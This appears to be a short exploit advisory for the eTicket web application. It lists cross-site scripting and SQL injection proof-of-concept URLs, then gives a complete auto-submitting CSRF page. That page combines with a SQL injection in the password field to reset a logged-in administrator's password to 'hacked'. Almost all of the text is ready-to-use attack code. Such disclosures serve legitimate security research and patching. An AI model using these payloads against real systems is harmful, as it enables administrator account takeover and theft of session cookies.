http://www.example.com/eTicket/view.php?s="><script>alert(document.cookie)</script> http://www.example.com/eTicket/admin.php?a=headers&msg=SQL' http://www.example.com/eTicket/search.php?s=advanced&text=test&cat=&status=open'SQL&search_submit=Search By visiting a page containing the following code, the password of a logged in administrator will be set to "hacked". <html> <body> <form id="csrf" name="csrf" action="http://www.example.com/eTicket/admin.php?a=my" method="post"> <input type="hidden" name="a" value="my"> <input type="text" name="username" value="admin"><br> <input type="text" name="name" value="admin"><br> <input type="text" name="email" value="mail@example.com"><br> <input type="password" name="password" value="') OR ('1'='1"><br> <input type="password" name="npassword" value="hacked"><br> <input type="password" name="vpassword" value="hacked"><br> <textarea name="sig" cols="30" rows="5"></textarea><br> <input type="submit" name="submit" value="Save Changes"><br> </form> <script language="JavaScript">document.getElementById('csrf').submit.click()</script> </body> </html>